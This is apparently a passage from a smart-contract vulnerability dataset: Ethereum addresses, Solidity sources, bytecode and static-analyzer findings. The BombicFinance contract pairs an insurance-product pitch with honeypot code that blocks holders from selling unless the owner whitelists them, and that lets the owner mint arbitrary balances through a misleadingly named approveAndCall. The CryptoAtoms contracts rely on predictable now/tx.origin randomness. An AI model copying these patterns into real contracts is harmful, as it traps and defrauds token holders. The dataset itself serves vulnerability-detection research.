0020a900460ff161561071557600080fd5b61071d610b24565b151561072857600080fd5b600160a060020a0330163181111561073f57600080fd5b600954600160a060020a031681156108fc0282604051600060405180830381858888f19350505050151561077257600080fd5b50565b60005433600160a060020a0390811691161461079057600080fd5b600b55565b600154600160a060020a031681565b60015460009060a860020a900460ff16806107c257506107c2610b97565b15156107cd57600080fd5b50600160a060020a0333166000908152600a60205260408120549081116107f357600080fd5b600160a060020a0333166000818152600a60205260408082209190915582156108fc0290839051600060405180830381858888f19350505050151561077257600080fd5b60045481565b6203f48081565b60015460a860020a900460ff1681565b670de0b6b3a764000081565b600054600160a060020a031681565b60035481565b60015433600160a060020a0390811691161461089057600080fd5b60015460a060020a900460ff16156108a757600080fd5b60015460a860020a900460ff16156108be57600080fd5b600160a060020a03811615156108d357600080fd5b428310156108e057600080fd5b8282116108ec57600080fd5b82820360068190556203f480901080159061090c57506241eb0060065411155b151561091757600080fd5b6007839055600882905560098054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001805474ff0000000000000000000000000000000000000000191660a060020a1790557ffccf552413932efea18979436cc8ce92942bdef118c2b5682351e1891bef80728383836040519283526020830191909152600160a060020a03166040808301919091526060909101905180910390a1505050565b60085481565b60015433600160a060020a039081169116146109e557600080fd5b60015460a860020a900460ff16156109fc57600080fd5b610a04610b24565b1515610a0f57600080fd5b565b60015433600160a060020a03908116911614610a2c57600080fd5b600c54600160a060020a031663a9059cbb838360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610a8b57600080fd5b6102c65a03f11515610a9c57600080fd5b505050604051805150505050565b60015433600160a060020a03908116911614610ac557600080fd5b600160a060020a0381161515610ada57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600954600160a060020a031681565b60025481565b60075481565b60006005546002541015806106de575060085442101580156106de575050600454600254101590565b60005433600160a060020a03908116911614610b6857600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60015460009060a060020a900460ff168015610bb557506008544210155b80156106de5750506004546002541090565b600554815600a165627a7a723058209751632ec726eb0c0d1ea8158ccbf8cdf1a33d170164f81500415abc83d394fa0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 10,608 |
0xab1c02c7d5ebfddbb8824ccd193e7df59b34a841 | /*
SMART INSURANCE
Bombic tracks exact amounts of user funds as they dynamically move across various protocols, and bills by the second using a streamed payment system. The result is minimized costs and maximized flexibility! Currently supported currencies: ETH and DAI. The open sourced codebase can be found in the public Github linked in the DEVELOPER RESOURCES section of this documentation.
When a user makes changes to their funds, BOMBIC’s Smart Insurance System detects it and recommends a new coverage combination. Upon approval, the coverage is adjusted to match the new balance of funds.
Pay As You Go and Only Pay What You Owe
Say goodbye to buying static chunks of coverage and micromanaging cover amounts, expiries and being stuck with coverage you don’t need when you move your assets between protocols.
Experience flexibility and minimized costs:
Real time tracking of user funds as they move across various platforms
Automatically adjustable coverage amount for exact user funds per protocol
Streamed payments bill by the second so you only pay for coverage you use for the time you use it
When a user makes changes to their funds, BOMBIC’s Smart Insurance System detects it and recommends a new coverage combination. Upon approval, the coverage is adjusted to match the new balance of funds.
Implified Payments
BOMBIC provides coverage on various DeFi protocols such as Uniswap, AAVE, Maker, Compound, Curve, Synthetix, Yearn, RenVM, Balancer and more. Coverage availability is dependent on the type of FINFTs staked.
Billing is calculated separately for multiple wallets and pooled. This pooled amount can be approved for payments with a single transaction from any wallet of a user’s choice. The user may adjust which assets and/or quantities to cover at any time.
The user must maintain a minimum balance in the wallet sufficient to cover the costs of the insurance coverage. Whenever a change is detected by the system, a request is automatically sent to the user to adjust their coverage if they wish. Upon confirmation, the user will stay fully protected from smart contract hacks.
KYC-less and Permissionless
Nexus Mutual has faced a significant barrier to adoption by requiring KYC.
BOMBIC covers this obligation through the DAO and insurance is provided to users in a true KYC-less manner.
Any user on Ethereum can protect their assets across covered DeFi protocols.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BombicFinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820efd8ac07a078461a9336333acdc3164d1a449c8072f459c3b10a10f016f8425964736f6c63430005110032 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 10,609 |
0x1d9489f8c87ec8f3a20e7aca4bb2f489a3b25282 | /**
*Submitted for verification at Etherscan.io on 2021-09-13
*/
pragma solidity ^0.4.19;
contract ADM312 {
address public COO;
address public CTO;
address public CFO;
address private coreAddress;
address public logicAddress;
address public superAddress;
modifier onlyAdmin() {
require(msg.sender == COO || msg.sender == CTO || msg.sender == CFO);
_;
}
modifier onlyContract() {
require(msg.sender == coreAddress || msg.sender == logicAddress || msg.sender == superAddress);
_;
}
modifier onlyContractAdmin() {
require(msg.sender == coreAddress || msg.sender == logicAddress || msg.sender == superAddress || msg.sender == COO || msg.sender == CTO || msg.sender == CFO);
_;
}
function transferAdmin(address _newAdminAddress1, address _newAdminAddress2) public onlyAdmin {
if(msg.sender == COO)
{
CTO = _newAdminAddress1;
CFO = _newAdminAddress2;
}
if(msg.sender == CTO)
{
COO = _newAdminAddress1;
CFO = _newAdminAddress2;
}
if(msg.sender == CFO)
{
COO = _newAdminAddress1;
CTO = _newAdminAddress2;
}
}
function transferContract(address _newCoreAddress, address _newLogicAddress, address _newSuperAddress) external onlyAdmin {
coreAddress = _newCoreAddress;
logicAddress = _newLogicAddress;
superAddress = _newSuperAddress;
SetCoreInterface(_newLogicAddress).setCoreContract(_newCoreAddress);
SetCoreInterface(_newSuperAddress).setCoreContract(_newCoreAddress);
}
}
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
contract SetCoreInterface {
function setCoreContract(address _neWCoreAddress) external;
}
contract CaData is ADM312, ERC721 {
function CaData() public {
COO = msg.sender;
CTO = msg.sender;
CFO = msg.sender;
createCustomAtom(0,0,4,0,0,0,0);
}
function kill() external
{
require(msg.sender == COO);
selfdestruct(msg.sender);
}
function() public payable{}
uint public randNonce = 0;
struct Atom
{
uint64 dna;
uint8 gen;
uint8 lev;
uint8 cool;
uint32 sons;
uint64 fath;
uint64 moth;
uint128 isRent;
uint128 isBuy;
uint32 isReady;
}
Atom[] public atoms;
mapping (uint64 => bool) public dnaExist;
mapping (address => bool) public bonusReceived;
mapping (address => uint) public ownerAtomsCount;
mapping (uint => address) public atomOwner;
event NewWithdraw(address sender, uint balance);
//ADMIN
function createCustomAtom(uint64 _dna, uint8 _gen, uint8 _lev, uint8 _cool, uint128 _isRent, uint128 _isBuy, uint32 _isReady) public onlyAdmin {
require(dnaExist[_dna]==false && _cool+_lev>=4);
Atom memory newAtom = Atom(_dna, _gen, _lev, _cool, 0, 2**50, 2**50, _isRent, _isBuy, _isReady);
uint id = atoms.push(newAtom) - 1;
atomOwner[id] = msg.sender;
ownerAtomsCount[msg.sender]++;
dnaExist[_dna] = true;
}
function withdrawBalance() public payable onlyAdmin {
NewWithdraw(msg.sender, address(this).balance);
CFO.transfer(address(this).balance);
}
//MAPPING_SETTERS
function incRandNonce() external onlyContract {
randNonce++;
}
function setDnaExist(uint64 _dna, bool _newDnaLocking) external onlyContractAdmin {
dnaExist[_dna] = _newDnaLocking;
}
function setBonusReceived(address _add, bool _newBonusLocking) external onlyContractAdmin {
bonusReceived[_add] = _newBonusLocking;
}
function setOwnerAtomsCount(address _owner, uint _newCount) external onlyContract {
ownerAtomsCount[_owner] = _newCount;
}
function setAtomOwner(uint _atomId, address _owner) external onlyContract {
atomOwner[_atomId] = _owner;
}
//ATOM_SETTERS
function pushAtom(uint64 _dna, uint8 _gen, uint8 _lev, uint8 _cool, uint32 _sons, uint64 _fathId, uint64 _mothId, uint128 _isRent, uint128 _isBuy, uint32 _isReady) external onlyContract returns (uint id) {
Atom memory newAtom = Atom(_dna, _gen, _lev, _cool, _sons, _fathId, _mothId, _isRent, _isBuy, _isReady);
id = atoms.push(newAtom) -1;
}
function setAtomDna(uint _atomId, uint64 _dna) external onlyAdmin {
atoms[_atomId].dna = _dna;
}
function setAtomGen(uint _atomId, uint8 _gen) external onlyAdmin {
atoms[_atomId].gen = _gen;
}
function setAtomLev(uint _atomId, uint8 _lev) external onlyContract {
atoms[_atomId].lev = _lev;
}
function setAtomCool(uint _atomId, uint8 _cool) external onlyContract {
atoms[_atomId].cool = _cool;
}
function setAtomSons(uint _atomId, uint32 _sons) external onlyContract {
atoms[_atomId].sons = _sons;
}
function setAtomFath(uint _atomId, uint64 _fath) external onlyContract {
atoms[_atomId].fath = _fath;
}
function setAtomMoth(uint _atomId, uint64 _moth) external onlyContract {
atoms[_atomId].moth = _moth;
}
function setAtomIsRent(uint _atomId, uint128 _isRent) external onlyContract {
atoms[_atomId].isRent = _isRent;
}
function setAtomIsBuy(uint _atomId, uint128 _isBuy) external onlyContract {
atoms[_atomId].isBuy = _isBuy;
}
function setAtomIsReady(uint _atomId, uint32 _isReady) external onlyContractAdmin {
atoms[_atomId].isReady = _isReady;
}
//ERC721
mapping (uint => address) tokenApprovals;
function totalSupply() public view returns (uint256 total){
return atoms.length;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownerAtomsCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner) {
return atomOwner[_tokenId];
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
atoms[_tokenId].isBuy = 0;
atoms[_tokenId].isRent = 0;
ownerAtomsCount[_to]++;
ownerAtomsCount[_from]--;
atomOwner[_tokenId] = _to;
Transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public {
require(msg.sender == atomOwner[_tokenId]);
_transfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint256 _tokenId) public {
require(msg.sender == atomOwner[_tokenId]);
tokenApprovals[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function takeOwnership(uint256 _tokenId) public {
require(tokenApprovals[_tokenId] == msg.sender);
_transfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
}
contract CaTokenInterface {
function emitTransfer(address, address, uint) external;
}
contract CryptoAtomsCore {
address public CaDataAddress = 0x9b3554E6FC4F81531F6D43b611258bd1058ef6D5;
CaData public CaDataContract = CaData(CaDataAddress);
CaTokenInterface public CaTokenContract = CaTokenInterface(0xbdaed67214641b7eda3bf8d7431c3ae5fc46f466);
uint64 dnaModulus = 2 ** 50;
uint16 nucModulus = 2 ** 12;
uint32 colModulus = 10 ** 8; //=> (16-8) = 8 inherited digits (7 are significant)
uint32[8] public cooldownValues = [uint32(5 minutes),
uint32(30 minutes),
uint32(2 hours),
uint32(6 hours),
uint32(12 hours),
uint32(24 hours),
uint32(36 hours),
uint32(48 hours)];
uint128[4] public mintedAtomFee = [50 finney, 100 finney, 200 finney, 500 finney];
event NewMintedAtom(address sender, uint atom);
function kill() external
{
require(msg.sender == CaDataContract.CTO());
selfdestruct(msg.sender);
}
modifier onlyLogic() {
require(msg.sender == CaDataContract.logicAddress());
_;
}
modifier onlyAdmin() {
require(msg.sender == CaDataContract.COO() || msg.sender == CaDataContract.CTO() || msg.sender == CaDataContract.CFO());
_;
}
function setFee(uint128 _newFee, uint8 _level) external onlyAdmin {
require(_level > 0 && _level < 5);
mintedAtomFee[_level-1] = _newFee;
}
function setCooldown(uint32[8] _newCooldown) external onlyAdmin {
cooldownValues = _newCooldown;
}
function setTokenAddr(address _newTokenAddr) external onlyAdmin {
CaTokenContract = CaTokenInterface(_newTokenAddr);
}
function emitTransferBatch(address[200] _fromArray, address[200] _toArray, uint256[200] _tokenIdArray, uint8 _eventsNum) external onlyAdmin {
require(_eventsNum <= 200);
for(uint8 tx=0; tx<_eventsNum; tx++)
{
CaTokenContract.emitTransfer(_fromArray[tx], _toArray[tx], _tokenIdArray[tx]);
}
}
function _defineDna(uint64 _dna1, uint64 _dna2) private returns (uint64 definedDna) {
uint16 binModulus = nucModulus;
uint64 decModulus = colModulus;
uint64 nucDna;
uint64 colDna;
uint64 random;
for (uint8 attemp=16; attemp>0; attemp--)
{
CaDataContract.incRandNonce();
random = uint64(keccak256(now, tx.origin, CaDataContract.randNonce()));
if (random%2 == 0)
{
nucDna = _dna1;
colDna = _dna2;
}
else
{
nucDna = _dna2;
colDna = _dna1;
}
definedDna = ((colDna/decModulus)*decModulus) + (random % decModulus);
definedDna = definedDna - (definedDna % binModulus) + (nucDna % binModulus);
definedDna = definedDna % dnaModulus;
if(CaDataContract.dnaExist(definedDna)==true)
{
if(attemp > 8)
{
decModulus = decModulus*10;//if attemp=16,15,14,13,12,11,10,9 -> 1 inherited digit removed
}
else
{
binModulus = binModulus/2;//if attemp=8,7,6,5,4,3,2,1 -> 1 inherited digit removed
}
definedDna = 0;
}
else
{
attemp = 1;//forced end
}
}
}
function _defineGen(uint8 _gen1, uint8 _lev1, uint8 _gen2, uint8 _lev2) private pure returns (uint8 definedGen) {
if(_gen1 == _gen2)
{
definedGen = _gen1;
if(_lev1+_lev2 > 6)
{
definedGen++;
}
}
if(_gen1 < _gen2)
{
definedGen = _gen1;
if(_lev1 > 2)
{
definedGen++;
}
}
if(_gen1 > _gen2)
{
definedGen = _gen2;
if(_lev2 > 2)
{
definedGen++;
}
}
if(definedGen > 4)
{
definedGen = 4;
}
}
function _beParents(uint _atomId1, uint _atomId2) private {
uint8 cool1;
uint8 cool2;
uint32 sons1;
uint32 sons2;
(,,,cool1,sons1,,,,,) = CaDataContract.atoms(_atomId1);
(,,,cool2,sons2,,,,,) = CaDataContract.atoms(_atomId2);
CaDataContract.setAtomIsReady(_atomId1, uint32(now + cooldownValues[cool1]));
CaDataContract.setAtomIsReady(_atomId2, uint32(now + cooldownValues[cool2]));
CaDataContract.setAtomSons(_atomId1, sons1+1);
CaDataContract.setAtomSons(_atomId2, sons2+1);
CaDataContract.setAtomIsRent(_atomId1,0);
CaDataContract.setAtomIsRent(_atomId2,0);
}
function _createAtom(uint64 _dna, uint8 _gen, uint8 _lev, uint8 _cool, uint _fathId, uint _mothId) private returns (uint id) {
require(CaDataContract.totalSupply()<3000);
require(CaDataContract.dnaExist(_dna)==false);
id = CaDataContract.pushAtom(_dna, _gen, _lev, _cool, 0, uint64(_fathId), uint64(_mothId), 0, 0, 0);
CaDataContract.setAtomOwner(id,tx.origin);
CaDataContract.setOwnerAtomsCount(tx.origin,CaDataContract.ownerAtomsCount(tx.origin)+1);
CaDataContract.setDnaExist(_dna,true);
CaTokenContract.emitTransfer(0x0,tx.origin,id);
}
function createCombinedAtom(uint _atomId1, uint _atomId2) external onlyLogic returns (uint id) {
uint64 dna1;
uint64 dna2;
uint8 gen1;
uint8 gen2;
uint8 lev1;
uint8 lev2;
(dna1,gen1,lev1,,,,,,,) = CaDataContract.atoms(_atomId1);
(dna2,gen2,lev2,,,,,,,) = CaDataContract.atoms(_atomId2);
uint8 combGen = _defineGen(gen1,lev1,gen2,lev2);
uint64 combDna = _defineDna(dna1, dna2);
_beParents(_atomId1, _atomId2);
id = _createAtom(combDna, combGen, 1, combGen+3, _atomId1, _atomId2);
}
function createRandomAtom() external onlyLogic returns (uint id) {
CaDataContract.incRandNonce();
uint64 randDna = uint64(keccak256(now, tx.origin, CaDataContract.randNonce())) % dnaModulus;
while(CaDataContract.dnaExist(randDna)==true)
{
CaDataContract.incRandNonce();
randDna = uint64(keccak256(now, tx.origin, CaDataContract.randNonce())) % dnaModulus;
}
id = _createAtom(randDna, 1, 1, 4, dnaModulus, dnaModulus);
}
function createTransferAtom(address _from, address _to, uint _tokenId) external onlyLogic {
CaTokenContract.emitTransfer(_from, _to, _tokenId);
}
